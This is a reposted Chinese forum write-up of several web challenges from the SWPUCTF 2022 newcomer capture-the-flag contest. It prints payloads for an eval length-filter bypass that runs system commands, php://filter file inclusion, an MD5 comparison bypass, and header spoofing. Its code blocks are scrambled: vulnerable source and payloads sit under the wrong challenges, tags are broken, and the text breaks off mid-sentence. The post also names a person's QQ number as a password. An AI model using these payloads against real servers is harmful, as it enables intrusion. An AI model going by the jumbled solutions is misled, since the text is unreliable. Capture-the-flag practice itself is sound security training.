[SWPUCTF 2022 新生赛]部分WP

打印 上一主题 下一主题

主题 994|帖子 994|积分 2982

目录

WEB

1.funny_web

先试试随便填写一点内容,然后显示:用户名是实验室名哦~
得知是 NSS
再次提交后显示:听说密码是招新群某位的QQ
第一时间就想到了我们的谢队的QQ~2122693401
于是进入rea11y.php来到第一道题
  1. [/code]首先,这里对参数[b]get[/b]作了长度限制,并且要过滤掉[b]flag[/b]字符串,如果要输入的指令太长,并且还要输入[b]flag[/b],那么就想,能不能让指向另外一个参数呢?
  2. 先测试这个想法能不能通过,于是构造如下payload
  3. [code]?num=12345/
复制代码

很明显这个长度已经远超18的限制,并且flag字符串也没被过滤掉,那就证明了这个思路是正确的。
那么先尝试查看一下当前目录有什么文件呢,让他执行一下ls
  1. ?num=12345\
复制代码
![web_dog_final_2](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\web_dog_final_2.jpg)
发现一个flag.php,那试试cat flag.php?
  1. [/code][img]https://nssctf.wdf.ink/img/zack/web_dog_final_3.jpg[/img]
  2. 但是很遗憾,没回显,说明这个flag.php是假的
  3. 那么尝试一下搜索查看一下根目录有没有
  4. [code]?x=QNKCDZO&y=240610708
复制代码
![web_dog_final_4](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\web_dog_final_4.jpg)
发现根目录下有一个flag,现在再尝试用cat /flag
  1. <?php
  2. error_reporting(0);
  3. include "flag.php";
  4. highlight_file(__FILE__);
  5. if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
  6.     echo $FLAG;
  7. }
复制代码

得到flag,本题结束
6.Ez_upload

先随便传一个文件试试

传不进去,那就打开Burp看看

先把文件内容删除试试,再提交看看

发现成功上传了,那试试传一个phpinfo();
  1. [/code][img]https://nssctf.wdf.ink/img/zack/ez_upload_burp_2.jpg[/img]
  2. 不正确,那先不用[b]php[/b]的文件后缀名再试试呢?
  3. [img]https://nssctf.wdf.ink/img/zack/ez_upload_burp_3.jpg[/img]
  4. 这里没有再提示文件后缀名的问题,而是另外一个提示。说明很有可能是过滤了<strong>
复制代码
分析一下代码,就是一个很简单的序列化
这里lt就是要执行的函数,lly是要传给函数的参数
手写一个payload,先看一下目录里面有些啥
  1. <?php
  2. error_reporting(0);
  3. if (isset($_GET['file'])) {
  4.   if ( substr($_GET["file"], 0, 3) === "php" ) {
  5.     echo "Nice!!!";
  6.     include($_GET["file"]);
  7.   }
  8.   else {
  9.     echo "Hacker!!";
  10.   }
  11. }else {
  12.   highlight_file(__FILE__);
  13. }
  14. //flag.php
复制代码

回显只有index.php
看来似乎得想别的办法,试试搜索一下flag呢
  1. ?file=php://filter/resource=flag.php
复制代码

发现flag在根目录下,那就直接让它显示出来
  1. ?file=php://filter/resource=flag
复制代码

找到flag,本题结束。
11.xff

打开靶机显示Must be accessed from Xiaohong's own computer.
先用hackbar添加X-Forwarded-For127.0.0.1
返回显示Must be jump from Home Page.
再次利用hackbar添加Referer127.0.0.1
轻松得到flag

12.js_sign

启动靶机,打开开发者工具发现指向了main.js,打开后分析
  1. [/code]将[b]dGFwY29kZQ==[/b]解码后得到提示:[b]tapcode[/b]
  2. 网上实在是没找到合适的tapcode解码工具,于是我去找了一张tapcode对照表
  3. [img]https://nssctf.wdf.ink/img/zack/tapcode%E5%AF%B9%E7%85%A7%E8%A1%A8.png[/img]
  4. 按照对照表手动翻译了一遍,得到结果:
  5. [code]<?php
  6. error_reporting(0);
  7. highlight_file(__FILE__);
  8. if (isset($_GET['get'])){
  9.     $get=$_GET['get'];
  10.     if(!strstr($get," ")){
  11.         $get = str_ireplace("flag", " ", $get);
  12.         
  13.         if (strlen($get)>18){
  14.             die("This is too long.");
  15.             }
  16.             
  17.             else{
  18.                 eval($get);
  19.           }
  20.     }else {
  21.         die("nonono");
  22.     }
  23. }
  24.    
  25. ?>
复制代码
按照平台格式要求,最终flag为NSSCTF{youfindflagbytapcode}
13.ez_ez_unserialize

启动靶机,源码如下
  1. [/code]看完后也就是说,要同时满足[b]L1、L2、L3[/b]都存在,那就一个一个的分析好了。
  2. 先看[b]L1[/b],既要长度小于3,又要数据大于999999999,怎么会有这么奇怪的逻辑判断,不讲武德直接数组绕过
  3. [code]?get=eval($_GET['A']);&A=system('ls');
复制代码


回显<strong>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我爱普洱茶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表